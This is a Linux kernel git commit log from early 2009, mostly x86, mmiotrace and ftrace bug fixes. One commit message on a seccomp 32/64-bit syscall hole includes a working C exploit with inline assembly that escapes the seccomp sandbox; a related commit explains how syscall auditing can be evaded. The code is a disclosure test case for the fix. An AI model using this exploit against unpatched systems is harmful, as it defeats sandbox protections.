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* tracing/function-graph-tracer: use the more lightweight local clockFrederic Weisbecker2009-03-051-1/+1
| | | | | | | | | | | | | | | Impact: decrease hangs risks with the graph tracer on slow systems Since the function graph tracer can spend too much time on timer interrupts, it's better now to use the more lightweight local clock. Anyway, the function graph traces are more reliable on a per cpu trace. Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com> Cc: Steven Rostedt <rostedt@goodmis.org> Cc: Peter Zijlstra <peterz@infradead.org> LKML-Reference: <49af243d.06e9300a.53ad.ffff840c@mx.google.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* Merge branch 'tracing/ftrace'; commit 'v2.6.29-rc7' into tracing/coreIngo Molnar2009-03-047-28/+21
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| * Merge branch 'x86-fixes-for-linus' of ↵Linus Torvalds2009-03-032-2/+14
| |\ | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86: oprofile: don't set counter width from cpuid on Core2 x86: fix init_memory_mapping() to handle small ranges
| | * x86: oprofile: don't set counter width from cpuid on Core2Tim Blechmann2009-03-031-2/+12
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: fix stuck NMIs and non-working oprofile on certain CPUs Resetting the counter width of the performance counters on Intel's Core2 CPUs, breaks the delivery of NMIs, when running in x86_64 mode. This should fix bug #12395: http://bugzilla.kernel.org/show_bug.cgi?id=12395 Signed-off-by: Tim Blechmann <tim@klingt.org> Signed-off-by: Robert Richter <robert.richter@amd.com> LKML-Reference: <20090303100412.GC10085@erda.amd.com> Cc: <stable@kernel.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| | * x86: fix init_memory_mapping() to handle small rangesYinghai Lu2009-03-031-0/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: fix failed EFI bootup in certain circumstances Ying Huang found init_memory_mapping() has problem with small ranges less than 2M when he tried to direct map the EFI runtime code out of max_low_pfn_mapped. It turns out we never considered that case and didn't check the range... Reported-by: Ying Huang <ying.huang@intel.com> Signed-off-by: Yinghai Lu <yinghai@kernel.org> Cc: Brian Maly <bmaly@redhat.com> LKML-Reference: <49ACDDED.1060508@kernel.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | Merge branch 'tracing/mmiotrace' of ↵Linus Torvalds2009-03-032-66/+153
| |\ \ | | |/ | |/| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'tracing/mmiotrace' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86 mmiotrace: fix race with release_kmmio_fault_page() x86 mmiotrace: improve handling of secondary faults x86 mmiotrace: split set_page_presence() x86 mmiotrace: fix save/restore page table state x86 mmiotrace: WARN_ONCE if dis/arming a page fails x86: add far read test to testmmiotrace x86: count errors in testmmiotrace.ko
| * | Merge branch 'x86-fixes-for-linus' of ↵Linus Torvalds2009-03-022-11/+6
| |\ \ | | | | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: fix warning in io_mapping_map_wc() x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()
| | * | x86: i915 needs pgprot_writecombine() and is_io_mapping_possible()Ingo Molnar2009-02-282-11/+6
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: build fix Theodore Ts reported that the i915 driver needs these symbols: ERROR: "pgprot_writecombine" [drivers/gpu/drm/i915/i915.ko] undefined! ERROR: "is_io_mapping_possible" [drivers/gpu/drm/i915/i915.ko] undefined! Reported-by: Theodore Ts'o <tytso@mit.edu> wrote: Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | | x86-64: seccomp: fix 32/64 syscall holeRoland McGrath2009-03-022-14/+0
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| * | | x86-64: syscall-audit: fix 32/64 syscall holeRoland McGrath2009-03-021-1/+1
| |/ / | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases, audit_syscall_entry() will use the wrong system call number table and the wrong system call argument registers. This could be used to circumvent a syscall audit configuration that filters based on the syscall numbers or argument details. Signed-off-by: Roland McGrath <roland@redhat.com> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
* | | Merge branches 'tracing/ftrace', 'tracing/mmiotrace' and 'linus' into ↵Ingo Molnar2009-03-027-79/+190
|\ \ \ | | |/ | |/| | | | tracing/core
| * | x86 mmiotrace: fix race with release_kmmio_fault_page()Pekka Paalanen2009-03-021-2/+7
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | There was a theoretical possibility to a race between arming a page in post_kmmio_handler() and disarming the page in release_kmmio_fault_page(): cpu0 cpu1 ------------------------------------------------------------------ mmiotrace shutdown enter release_kmmio_fault_page fault on the page disarm the page disarm the page handle the MMIO access re-arm the page put the page on release list remove_kmmio_fault_pages() fault on the page page not known to mmiotrace fall back to do_page_fault() *KABOOM* (This scenario also shows the double disarm case which is allowed.) Fixed by acquiring kmmio_lock in post_kmmio_handler() and checking if the page is being released from mmiotrace. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | x86 mmiotrace: improve handling of secondary faultsStuart Bennett2009-03-021-18/+22
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Upgrade some kmmio.c debug messages to warnings. Allow secondary faults on probed pages to fall through, and only log secondary faults that are not due to non-present pages. Patch edited by Pekka Paalanen. Signed-off-by: Stuart Bennett <stuart@freedesktop.org> Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | x86 mmiotrace: split set_page_presence()Pekka Paalanen2009-03-021-19/+22
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | From 36772dcb6ffbbb68254cbfc379a103acd2fbfefc Mon Sep 17 00:00:00 2001 From: Pekka Paalanen <pq@iki.fi> Date: Sat, 28 Feb 2009 21:34:59 +0200 Split set_page_presence() in kmmio.c into two more functions set_pmd_presence() and set_pte_presence(). Purely code reorganization, no functional changes. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | x86 mmiotrace: fix save/restore page table statePekka Paalanen2009-03-021-22/+44
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | From baa99e2b32449ec7bf147c234adfa444caecac8a Mon Sep 17 00:00:00 2001 From: Pekka Paalanen <pq@iki.fi> Date: Sun, 22 Feb 2009 20:02:43 +0200 Blindly setting _PAGE_PRESENT in disarm_kmmio_fault_page() overlooks the possibility, that the page was not present when it was armed. Make arm_kmmio_fault_page() store the previous page presence in struct kmmio_fault_page and use it on disarm. This patch was originally written by Stuart Bennett, but Pekka Paalanen rewrote it a little different. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | x86 mmiotrace: WARN_ONCE if dis/arming a page failsStuart Bennett2009-03-021-8/+17
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Print a full warning once, if arming or disarming a page fails. Also, if initial arming fails, do not handle the page further. This avoids the possibility of a page failing to arm and then later claiming to have handled any fault on that page. WARN_ONCE added by Pekka Paalanen. Signed-off-by: Stuart Bennett <stuart@freedesktop.org> Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | x86: add far read test to testmmiotracePekka Paalanen2009-03-021-7/+28
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Apparently pages far into an ioremapped region might not actually be mapped during ioremap(). Add an optional read test to try to trigger a multiply faulting MMIO access. Also add more messages to the kernel log to help debugging. This patch is based on a patch suggested by Stuart Bennett <stuart@freedesktop.org> who discovered bugs in mmiotrace related to normal kernel space faults. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | x86: count errors in testmmiotrace.koPekka Paalanen2009-03-021-6/+29
| |/ | | | | | | | | | | | | | | | | | | | | Check the read values against the written values in the MMIO read/write test. This test shows if the given MMIO test area really works as memory, which is a prerequisite for a successful mmiotrace test. Signed-off-by: Pekka Paalanen <pq@iki.fi> Cc: Stuart Bennett <stuart@freedesktop.org> Cc: Steven Rostedt <rostedt@goodmis.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * x86: enable DMAR by defaultKyle McMartin2009-02-261-1/+1
| | | | | | | | | | | | | | | | | | | | | | | | Now that the obvious bugs have been worked out, specifically the iwlagn issue, and the write buffer errata, DMAR should be safe to turn back on by default. (We've had it on since those patches were first written a few weeks ago, without any noticeable bug reports (most have been due to the dma-api debug patchset.)) Signed-off-by: Kyle McMartin <kyle@redhat.com> Acked-by: David Woodhouse <David.Woodhouse@intel.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * xen: disable interrupts early, as start_kernel expectsJeremy Fitzhardinge2009-02-251-0/+3
| | | | | | | | | | | | | | | | | | | | | | | | This avoids a lockdep warning from: if (DEBUG_LOCKS_WARN_ON(unlikely(!early_boot_irqs_enabled))) return; in trace_hardirqs_on_caller(); Signed-off-by: Jeremy Fitzhardinge <jeremy.fitzhardinge@citrix.com> Cc: Mark McLoughlin <markmc@redhat.com> Cc: Xen-devel <xen-devel@lists.xensource.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * gpu/drm, x86, PAT: io_mapping_create_wc and resource_size_tVenkatesh Pallipadi2009-02-252-0/+21
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | io_mapping_create_wc should take a resource_size_t parameter in place of unsigned long. With unsigned long, there will be no way to map greater than 4GB address in i386/32 bit. On x86, greater than 4GB addresses cannot be mapped on i386 without PAE. Return error for such a case. Patch also adds a structure for io_mapping, that saves the base, size and type on HAVE_ATOMIC_IOMAP archs, that can be used to verify the offset on io_mapping_map calls. Signed-off-by: Venkatesh Pallipadi <venkatesh.pallipadi@intel.com> Signed-off-by: Suresh Siddha <suresh.b.siddha@intel.com> Cc: Dave Airlie <airlied@redhat.com> Cc: Jesse Barnes <jbarnes@virtuousgeek.org> Cc: Eric Anholt <eric@anholt.net> Cc: Keith Packard <keithp@keithp.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * x86, Voyager: fix compile by lifting the degeneracy of phys_cpu_present_mapJames Bottomley2009-02-241-12/+12
| | | | | | | | | | | | | | | | | | | | This was changed to a physmap_t giving a clashing symbol redefinition, but actually using a physmap_t consumes rather a lot of space on x86, so stick with a private copy renamed with a voyager_ prefix and made static. Nothing outside of the Voyager code uses it, anyway. Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com> Signed-off-by: H. Peter Anvin <hpa@zytor.com>
* | Merge branch 'sched/clock' into tracing/ftraceIngo Molnar2009-02-271-1/+7
|\ \ | | | | | | | | | | | | Conflicts: kernel/sched_clock.c
| * | x86: set X86_FEATURE_TSC_RELIABLEIngo Molnar2009-02-261-1/+7
| |/ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | If the TSC is constant and non-stop, also set it reliable. (We will turn this off in DMI quirks for multi-chassis systems) The performance number on a 16-way Nehalem system running 32 tasks that context-switch between each other is significant: sched_clock_stable=0 sched_clock_stable=1 .................... .................... 22.456925 million/sec 24.306972 million/sec [+8.2%] lmbench's "lat_ctx -s 0 2" goes from 0.63 microseconds to 0.59 microseconds - a 6.7% increase in context-switching performance. Perfstat of 1 million pipe context switches between two tasks: Performance counter stats for './pipe-test-1m': [before] [after] ............ ............ 37621.421089 36436.848378 task clock ticks (msecs) 0 0 CPU migrations (events) 2000274 2000189 context switches (events) 194 193 pagefaults (events) 8433799643 8171016416 CPU cycles (events) -3.21% 8370133368 8180999694 instructions (events) -2.31% 4158565 3895941 cache references (events) -6.74% 44312 46264 cache misses (events) 2349.287976 2279.362465 wall-time (msecs) -3.06% The speedup comes straight from the reduction in the instruction count. sched_clock_cpu() got simpler and the whole workload thus executes faster. Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | x86, ptrace: remove CONFIG guards around declarationsMarkus Metzger2009-02-241-3/+0
| | | | | | | | | | | | | | | | | | | | | | | | | | | | Remove unnecessary CONFIG guards around type declarations and macro definitions. Reported-by: Cyrill Gorcunov <gorcunov@gmail.com> Signed-off-by: Markus Metzger <markus.t.metzger@intel.com> Cc: markus.t.metzger@gmail.com Cc: roland@redhat.com Cc: eranian@googlemail.com Cc: oleg@redhat.com Cc: juan.villacis@intel.com Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | Merge branch 'tracing/ftrace'; commit 'v2.6.29-rc6' into tracing/coreIngo Molnar2009-02-249-28/+22
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| * PM: Split up sysdev_[suspend|resume] from device_power_[down|up]Rafael J. Wysocki2009-02-221-0/+4
| | | | | | | | | | | | | | | | | | | | | | Move the sysdev_suspend/resume from the callee to the callers, with no real change in semantics, so that we can rework the disabling of interrupts during suspend/hibernation. This is based on an earlier patch from Linus. Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| * x86: Add IRQF_TIMER to legacy x86 timer interrupt descriptorsLinus Torvalds2009-02-224-4/+4
| | | | | | | | | | | | | | | | | | | | | | | | | | | | Right now nobody cares, but the suspend/resume code will eventually want to suspend device interrupts without suspending the timer, and will depend on this flag to know. The modern x86 timer infrastructure uses the local APIC timers and never shows up as a device interrupt at all, so it isn't affected and doesn't need any of this. Cc: Rafael J. Wysocki <rjw@sisk.pl> Cc: Ingo Molnar <mingo@elte.hu> Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
| * x86_64: Fix S3 fail pathJiri Slaby2009-02-211-1/+3
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | As acpi_enter_sleep_state can fail, take this into account in do_suspend_lowlevel and don't return to the do_suspend_lowlevel's caller. This would break (currently) fpu status and preempt count. Technically, this means use `call' instead of `jmp' and `jmp' to the `resume_point' after the `call' (i.e. if acpi_enter_sleep_state returns=fails). `resume_point' will handle the restore of fpu and preempt count gracefully. Signed-off-by: Jiri Slaby <jirislaby@gmail.com> Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Signed-off-by: Len Brown <len.brown@intel.com>
| * x86_64: acpi/wakeup_64 cleanupJiri Slaby2009-02-211-19/+7
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | - remove %ds re-set, it's already set in wakeup_long64 - remove double labels and alignment (ENTRY already adds both) - use meaningful resume point labelname - skip alignment while jumping from wakeup_long64 to the resume point - remove .size, .type and unused labels [v2] - added ENDPROCs Signed-off-by: Jiri Slaby <jirislaby@gmail.com> Acked-by: Cyrill Gorcunov <gorcunov@openvz.org> Acked-by: Pavel Machek <pavel@suse.cz> Signed-off-by: Rafael J. Wysocki <rjw@sisk.pl> Signed-off-by: Len Brown <len.brown@intel.com>
| * x86, mce: remove incorrect __cpuinit for mce_cpu_features()H. Peter Anvin2009-02-203-4/+4
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: Bug fix on UP Checkin 6ec68bff3c81e776a455f6aca95c8c5f1d630198: x86, mce: reinitialize per cpu features on resume introduced a call to mce_cpu_features() in the resume path, in order for the MCE machinery to get properly reinitialized after a resume. However, this function (and its successors) was flagged __cpuinit, which becomes __init on UP configurations (on SMP suspend/resume requires CPU hotplug and so this would not be seen.) Remove the offending __cpuinit annotations for mce_cpu_features() and its successor functions. Cc: Andi Kleen <ak@linux.intel.com> Cc: Linus Torvalds <torvalds@linux-foundation.org> Signed-off-by: H. Peter Anvin <hpa@zytor.com>
* | Merge branch 'tip/x86/ftrace' of ↵Ingo Molnar2009-02-226-19/+95
|\ \ | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-2.6-trace into tracing/ftrace Conflicts: include/linux/ftrace.h kernel/trace/ftrace.c
| * | ftrace: immediately stop code modification if failure is detectedSteven Rostedt2009-02-201-0/+4
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: fix to prevent NMI lockup If the page fault handler produces a WARN_ON in the modifying of text, and the system is setup to have a high frequency of NMIs, we can lock up the system on a failure to modify code. The modifying of code with NMIs allows all NMIs to modify the code if it is about to run. This prevents a modifier on one CPU from modifying code running in NMI context on another CPU. The modifying is done through stop_machine, so only NMIs must be considered. But if the write causes the page fault handler to produce a warning, the print can slow it down enough that as soon as it is done it will take another NMI before going back to the process context. The new NMI will perform the write again causing another print and this will hang the box. This patch turns off the writing as soon as a failure is detected and does not wait for it to be turned off by the process context. This will keep NMIs from getting stuck in this back and forth of print outs. Signed-off-by: Steven Rostedt <srostedt@redhat.com>
| * | ftrace, x86: make kernel text writable only for conversionsSteven Rostedt2009-02-204-8/+82
| |/ | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: keep kernel text read only Because dynamic ftrace converts the calls to mcount into and out of nops at run time, we needed to always keep the kernel text writable. But this defeats the point of CONFIG_DEBUG_RODATA. This patch converts the kernel code to writable before ftrace modifies the text, and converts it back to read only afterward. The kernel text is converted to read/write, stop_machine is called to modify the code, then the kernel text is converted back to read only. The original version used SYSTEM_STATE to determine when it was OK or not to change the code to rw or ro. Andrew Morton pointed out that using SYSTEM_STATE is a bad idea since there is no guarantee to what its state will actually be. Instead, I moved the check into the set_kernel_text_* functions themselves, and use a local variable to determine when it is OK to change the kernel text RW permissions. [ Update: Ingo Molnar suggested moving the prototypes to cacheflush.h ] Reviewed-by: Andrew Morton <akpm@linux-foundation.org> Signed-off-by: Steven Rostedt <srostedt@redhat.com>
| * x86: use the right protections for split-up pagetablesIngo Molnar2009-02-201-10/+5
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Steven Rostedt found a bug in where in his modified kernel ftrace was unable to modify the kernel text, due to the PMD itself having been marked read-only as well in split_large_page(). The fix, suggested by Linus, is to not try to 'clone' the reference protection of a huge-page, but to use the standard (and permissive) page protection bits of KERNPG_TABLE. The 'cloning' makes sense for the ptes but it's a confused and incorrect concept at the page table level - because the pagetable entry is a set of all ptes and hence cannot 'clone' any single protection attribute - the ptes can be any mixture of protections. With the permissive KERNPG_TABLE, even if the pte protections get changed after this point (due to ftrace doing code-patching or other similar activities like kprobes), the resulting combined protections will still be correct and the pte's restrictive (or permissive) protections will control it. Also update the comment. This bug was there for a long time but has not caused visible problems before as it needs a rather large read-only area to trigger. Steve possibly hacked his kernel with some really large arrays or so. Anyway, the bug is definitely worth fixing. [ Huang Ying also experienced problems in this area when writing the EFI code, but the real bug in split_large_page() was not realized back then. ] Reported-by: Steven Rostedt <rostedt@goodmis.org> Reported-by: Huang Ying <ying.huang@intel.com> Acked-by: Linus Torvalds <torvalds@linux-foundation.org> Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * x86, vmi: TSC going backwards check in vmi clocksourceAlok N Kataria2009-02-201-1/+4
| | | | | | | | | | | | | | | | | | | | | | | | Impact: fix time warps under vmware Similar to the check for TSC going backwards in the TSC clocksource, we also need this check for VMI clocksource. Signed-off-by: Alok N Kataria <akataria@vmware.com> Cc: Zachary Amsden <zach@vmware.com> Signed-off-by: Ingo Molnar <mingo@elte.hu> Cc: stable@kernel.org
* | Merge branches 'tracing/function-graph-tracer' and 'linus' into tracing/coreIngo Molnar2009-02-203-6/+4
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| * Merge branch 'x86-fixes-for-linus' of ↵Linus Torvalds2009-02-193-6/+4
| |\ | | | | | | | | | | | | | | | | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip * 'x86-fixes-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/linux-2.6-tip: x86, mce: fix ifdef for 64bit thermal apic vector clear on shutdown x86, mce: use force_sig_info to kill process in machine check x86, mce: reinitialize per cpu features on resume x86, rcu: fix strange load average and ksoftirqd behavior
| | * x86, mce: fix ifdef for 64bit thermal apic vector clear on shutdownAndi Kleen2009-02-171-1/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: Bugfix The ifdef for the apic clear on shutdown for the 64bit intel thermal vector was incorrect and never triggered. Fix that. Signed-off-by: Andi Kleen <ak@linux.intel.com> Acked-by: Thomas Gleixner <tglx@linutronix.de> Signed-off-by: H. Peter Anvin <hpa@zytor.com>
| | * x86, mce: use force_sig_info to kill process in machine checkAndi Kleen2009-02-171-2/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: bug fix (with tolerant == 3) do_exit cannot be called directly from the exception handler because it can sleep and the exception handler runs on the exception stack. Use force_sig() instead. Based on a earlier patch by Ying Huang who debugged the problem. Signed-off-by: Andi Kleen <ak@linux.intel.com> Acked-by: Thomas Gleixner <tglx@linutronix.de> Signed-off-by: H. Peter Anvin <hpa@zytor.com>
| | * x86, mce: reinitialize per cpu features on resumeAndi Kleen2009-02-171-0/+1
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Impact: Bug fix This fixes a long standing bug in the machine check code. On resume the boot CPU wouldn't get its vendor specific state like thermal handling reinitialized. This means the boot cpu wouldn't ever get any thermal events reported again. Call the respective initialization functions on resume v2: Remove ancient init because they don't have a resume device anyways. Pointed out by Thomas Gleixner. v3: Now fix the Subject too to reflect v2 change Signed-off-by: Andi Kleen <ak@linux.intel.com> Acked-by: Thomas Gleixner <tglx@linutronix.de> Signed-off-by: H. Peter Anvin <hpa@zytor.com>
| | * x86, rcu: fix strange load average and ksoftirqd behaviorPaul E. McKenney2009-02-171-3/+0
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Damien Wyart reported high ksoftirqd CPU usage (20%) on an otherwise idle system. The function-graph trace Damien provided: > 799.521187 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.521371 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.521555 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.521738 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.521934 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.522068 | 1) ksoftir-2324 | | rcu_check_callbacks() { > 799.522208 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.522392 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.522575 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.522759 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.522956 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.523074 | 1) ksoftir-2324 | | rcu_check_callbacks() { > 799.523214 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.523397 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.523579 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.523762 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.523960 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.524079 | 1) ksoftir-2324 | | rcu_check_callbacks() { > 799.524220 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.524403 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.524587 | 1) <idle>-0 | | rcu_check_callbacks() { > 799.524770 | 1) <idle>-0 | | rcu_check_callbacks() { > [ . . . ] Shows rcu_check_callbacks() being invoked way too often. It should be called once per jiffy, and here it is called no less than 22 times in about 3.5 milliseconds, meaning one call every 160 microseconds or so. Why do we need to call rcu_pending() and rcu_check_callbacks() from the idle loop of 32-bit x86, especially given that no other architecture does this? The following patch removes the call to rcu_pending() and rcu_check_callbacks() from the x86 32-bit idle loop in order to reduce the softirq load on idle systems. Reported-by: Damien Wyart <damien.wyart@free.fr> Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com> Signed-off-by: Ingo Molnar <mingo@elte.hu>
* | | Merge branch 'mainline/function-graph' of ↵Ingo Molnar2009-02-193-99/+2
|\ \ \ | | | | | | | | | | | | git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/linux-2.6-trace into tracing/function-graph-tracer
| * | | tracing/function-graph-tracer: make arch generic push pop functionsSteven Rostedt2009-02-183-99/+2
| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | There is nothing really arch specific of the push and pop functions used by the function graph tracer. This patch moves them to generic code. Acked-by: Frederic Weisbecker <fweisbec@gmail.com> Acked-by: Ingo Molnar <mingo@elte.hu> Signed-off-by: Steven Rostedt <srostedt@redhat.com>
* | | | Merge branch 'linus' into tracing/blktraceIngo Molnar2009-02-1924-162/+157
|\ \ \ \ | | |/ / | |/| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | Conflicts: block/blktrace.c Semantic merge: kernel/trace/blktrace.c Signed-off-by: Ingo Molnar <mingo@elte.hu>
| * | | mm: clean up for early_pfn_to_nid()KAMEZAWA Hiroyuki2009-02-183-5/+1
